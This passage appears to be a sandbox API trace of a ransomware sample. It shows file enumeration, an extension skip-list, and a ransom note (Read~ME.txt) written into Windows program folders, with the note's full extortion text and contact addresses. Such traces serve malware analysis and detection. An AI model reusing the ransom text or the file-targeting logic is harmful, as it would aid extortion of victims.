	[0078.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abb58
	[0078.226] lstrlenW (lpString=".scr") returned 4
	[0078.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi", lpSrch=".scr") returned 0x0
	[0078.227] lstrlenW (lpString=".cmd") returned 4
	[0078.321] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi", lpSrch=".cmd") returned 0x0
	[0078.321] lstrlenW (lpString=".dll") returned 4
	[0078.321] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi", lpSrch=".dll") returned 0x0
	[0078.321] lstrlenW (lpString=".bat") returned 4
	[0078.321] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi", lpSrch=".bat") returned 0x0
	[0078.321] lstrlenW (lpString=".cpl") returned 4
	[0078.321] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi", lpSrch=".cpl") returned 0x0
	[0078.321] lstrlenW (lpString=".sys") returned 4
	[0078.321] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi", lpSrch=".sys") returned 0x0
	[0078.321] lstrlenW (lpString=".msc") returned 4
	[0078.321] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi", lpSrch=".msc") returned 0x0
	[0078.321] lstrlenW (lpString=".com") returned 4
	[0078.321] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi", lpSrch=".com") returned 0x0
	[0078.321] lstrlenW (lpString=".lnk") returned 4
	[0078.321] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi", lpSrch=".lnk") returned 0x0
	[0078.321] lstrlenW (lpString=".msp") returned 4
	[0078.322] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi", lpSrch=".msp") returned 0x0
	[0078.322] lstrlenW (lpString=".pif") returned 4
	[0078.322] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi", lpSrch=".pif") returned 0x0
	[0078.322] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.322] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi", lpSrch="msp\r\n.pif") returned 0x0
	[0078.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.394] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abb58 | out: hHeap=0x300000) returned 1
	[0078.394] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808b10 | out: hHeap=0x300000) returned 1
	[0078.394] RtlWakeConditionVariable () returned 0x365f70
	[0078.394] GetCurrentThreadId () returned 0x3a4
	[0078.394] GetCurrentThreadId () returned 0x3a4
	[0078.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808b10
	[0078.394] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3a88 | out: hHeap=0x300000) returned 1
	[0078.394] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39de70 | out: hHeap=0x300000) returned 1
	[0078.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3a88
	[0078.394] lstrlenW (lpString=".scr") returned 4
	[0078.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.394] lstrlenW (lpString=".cmd") returned 4
	[0078.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.394] lstrlenW (lpString=".dll") returned 4
	[0078.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.394] lstrlenW (lpString=".dll.mui") returned 8
	[0078.394] lstrlenW (lpString=".bat") returned 4
	[0078.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.394] lstrlenW (lpString=".cpl") returned 4
	[0078.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.395] lstrlenW (lpString=".sys") returned 4
	[0078.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.395] lstrlenW (lpString=".msc") returned 4
	[0078.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.395] lstrlenW (lpString=".com") returned 4
	[0078.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.395] lstrlenW (lpString=".lnk") returned 4
	[0078.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.395] lstrlenW (lpString=".msp") returned 4
	[0078.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.395] lstrlenW (lpString=".pif") returned 4
	[0078.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.395] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.395] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3a88 | out: hHeap=0x300000) returned 1
	[0078.395] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808b10 | out: hHeap=0x300000) returned 1
	[0078.395] RtlWakeConditionVariable () returned 0x365f70
	[0078.395] GetCurrentThreadId () returned 0x3a4
	[0078.395] GetCurrentThreadId () returned 0x3a4
	[0078.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808b10
	[0078.396] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3b30 | out: hHeap=0x300000) returned 1
	[0078.396] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa198 | out: hHeap=0x300000) returned 1
	[0078.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3b30
	[0078.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.416] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.416] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.417] CloseHandle (hObject=0x120) returned 1
	[0078.417] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3b30 | out: hHeap=0x300000) returned 1
	[0078.417] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808b10 | out: hHeap=0x300000) returned 1
	[0078.417] RtlWakeConditionVariable () returned 0x365f70
	[0078.417] GetCurrentThreadId () returned 0x3a4
	[0078.418] GetCurrentThreadId () returned 0x3a4
	[0078.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808b10
	[0078.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3f20 | out: hHeap=0x300000) returned 1
	[0078.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ca18 | out: hHeap=0x300000) returned 1
	[0078.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3f20
	[0078.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.451] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.451] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.452] CloseHandle (hObject=0x120) returned 1
	[0078.452] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3f20 | out: hHeap=0x300000) returned 1
	[0078.452] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808b10 | out: hHeap=0x300000) returned 1
	[0078.453] RtlWakeConditionVariable () returned 0x365f70
	[0078.453] GetCurrentThreadId () returned 0x3a4
	[0078.453] GetCurrentThreadId () returned 0x3a4
	[0078.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.453] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5f30 | out: hHeap=0x300000) returned 1
	[0078.453] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cc48 | out: hHeap=0x300000) returned 1
	[0078.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5f30
	[0078.453] lstrlenW (lpString=".scr") returned 4
	[0078.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", lpSrch=".scr") returned 0x0
	[0078.453] lstrlenW (lpString=".cmd") returned 4
	[0078.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", lpSrch=".cmd") returned 0x0
	[0078.453] lstrlenW (lpString=".dll") returned 4
	[0078.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", lpSrch=".dll") returned 0x0
	[0078.453] lstrlenW (lpString=".bat") returned 4
	[0078.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", lpSrch=".bat") returned 0x0
	[0078.453] lstrlenW (lpString=".cpl") returned 4
	[0078.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", lpSrch=".cpl") returned 0x0
	[0078.453] lstrlenW (lpString=".sys") returned 4
	[0078.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", lpSrch=".sys") returned 0x0
	[0078.453] lstrlenW (lpString=".msc") returned 4
	[0078.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", lpSrch=".msc") returned 0x0
	[0078.453] lstrlenW (lpString=".com") returned 4
	[0078.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", lpSrch=".com") returned 0x0
	[0078.453] lstrlenW (lpString=".lnk") returned 4
	[0078.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", lpSrch=".lnk") returned 0x0
	[0078.454] lstrlenW (lpString=".msp") returned 4
	[0078.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", lpSrch=".msp") returned 0x0
	[0078.454] lstrlenW (lpString=".pif") returned 4
	[0078.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", lpSrch=".pif") returned 0x0
	[0078.454] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5f30 | out: hHeap=0x300000) returned 1
	[0078.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0078.455] RtlWakeConditionVariable () returned 0x365f70
	[0078.455] GetCurrentThreadId () returned 0x3a4
	[0078.455] GetCurrentThreadId () returned 0x3a4
	[0078.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f54a0 | out: hHeap=0x300000) returned 1
	[0078.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cc80 | out: hHeap=0x300000) returned 1
	[0078.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f54a0
	[0078.455] lstrlenW (lpString=".scr") returned 4
	[0078.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", lpSrch=".scr") returned 0x0
	[0078.455] lstrlenW (lpString=".cmd") returned 4
	[0078.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", lpSrch=".cmd") returned 0x0
	[0078.455] lstrlenW (lpString=".dll") returned 4
	[0078.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", lpSrch=".dll") returned 0x0
	[0078.455] lstrlenW (lpString=".bat") returned 4
	[0078.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", lpSrch=".bat") returned 0x0
	[0078.455] lstrlenW (lpString=".cpl") returned 4
	[0078.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", lpSrch=".cpl") returned 0x0
	[0078.455] lstrlenW (lpString=".sys") returned 4
	[0078.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", lpSrch=".sys") returned 0x0
	[0078.455] lstrlenW (lpString=".msc") returned 4
	[0078.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", lpSrch=".msc") returned 0x0
	[0078.456] lstrlenW (lpString=".com") returned 4
	[0078.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", lpSrch=".com") returned 0x0
	[0078.456] lstrlenW (lpString=".lnk") returned 4
	[0078.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", lpSrch=".lnk") returned 0x0
	[0078.456] lstrlenW (lpString=".msp") returned 4
	[0078.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", lpSrch=".msp") returned 0x0
	[0078.456] lstrlenW (lpString=".pif") returned 4
	[0078.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", lpSrch=".pif") returned 0x0
	[0078.456] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.456] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f54a0 | out: hHeap=0x300000) returned 1
	[0078.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0078.457] RtlWakeConditionVariable () returned 0x365f70
	[0078.457] GetCurrentThreadId () returned 0x3a4
	[0078.457] GetCurrentThreadId () returned 0x3a4
	[0078.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5558 | out: hHeap=0x300000) returned 1
	[0078.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ccb8 | out: hHeap=0x300000) returned 1
	[0078.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5558
	[0078.457] lstrlenW (lpString=".scr") returned 4
	[0078.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", lpSrch=".scr") returned 0x0
	[0078.457] lstrlenW (lpString=".cmd") returned 4
	[0078.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", lpSrch=".cmd") returned 0x0
	[0078.457] lstrlenW (lpString=".dll") returned 4
	[0078.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", lpSrch=".dll") returned 0x0
	[0078.457] lstrlenW (lpString=".bat") returned 4
	[0078.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", lpSrch=".bat") returned 0x0
	[0078.457] lstrlenW (lpString=".cpl") returned 4
	[0078.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", lpSrch=".cpl") returned 0x0
	[0078.458] lstrlenW (lpString=".sys") returned 4
	[0078.458] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", lpSrch=".sys") returned 0x0
	[0078.458] lstrlenW (lpString=".msc") returned 4
	[0078.458] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", lpSrch=".msc") returned 0x0
	[0078.458] lstrlenW (lpString=".com") returned 4
	[0078.458] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", lpSrch=".com") returned 0x0
	[0078.458] lstrlenW (lpString=".lnk") returned 4
	[0078.458] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", lpSrch=".lnk") returned 0x0
	[0078.458] lstrlenW (lpString=".msp") returned 4
	[0078.458] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", lpSrch=".msp") returned 0x0
	[0078.458] lstrlenW (lpString=".pif") returned 4
	[0078.458] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", lpSrch=".pif") returned 0x0
	[0078.458] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.458] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.458] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5558 | out: hHeap=0x300000) returned 1
	[0078.458] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0078.458] RtlWakeConditionVariable () returned 0x365f70
	[0078.458] GetCurrentThreadId () returned 0x3a4
	[0078.458] GetCurrentThreadId () returned 0x3a4
	[0078.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.458] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5610 | out: hHeap=0x300000) returned 1
	[0078.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ccf0 | out: hHeap=0x300000) returned 1
	[0078.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5610
	[0078.459] lstrlenW (lpString=".scr") returned 4
	[0078.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", lpSrch=".scr") returned 0x0
	[0078.459] lstrlenW (lpString=".cmd") returned 4
	[0078.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", lpSrch=".cmd") returned 0x0
	[0078.459] lstrlenW (lpString=".dll") returned 4
	[0078.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", lpSrch=".dll") returned 0x0
	[0078.459] lstrlenW (lpString=".bat") returned 4
	[0078.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", lpSrch=".bat") returned 0x0
	[0078.459] lstrlenW (lpString=".cpl") returned 4
	[0078.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", lpSrch=".cpl") returned 0x0
	[0078.459] lstrlenW (lpString=".sys") returned 4
	[0078.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", lpSrch=".sys") returned 0x0
	[0078.459] lstrlenW (lpString=".msc") returned 4
	[0078.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", lpSrch=".msc") returned 0x0
	[0078.459] lstrlenW (lpString=".com") returned 4
	[0078.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", lpSrch=".com") returned 0x0
	[0078.459] lstrlenW (lpString=".lnk") returned 4
	[0078.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", lpSrch=".lnk") returned 0x0
	[0078.459] lstrlenW (lpString=".msp") returned 4
	[0078.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", lpSrch=".msp") returned 0x0
	[0078.459] lstrlenW (lpString=".pif") returned 4
	[0078.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", lpSrch=".pif") returned 0x0
	[0078.459] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.459] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.460] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5610 | out: hHeap=0x300000) returned 1
	[0078.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0078.461] RtlWakeConditionVariable () returned 0x365f70
	[0078.461] GetCurrentThreadId () returned 0x3a4
	[0078.461] GetCurrentThreadId () returned 0x3a4
	[0078.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f56c8 | out: hHeap=0x300000) returned 1
	[0078.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cd28 | out: hHeap=0x300000) returned 1
	[0078.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f56c8
	[0078.461] lstrlenW (lpString=".scr") returned 4
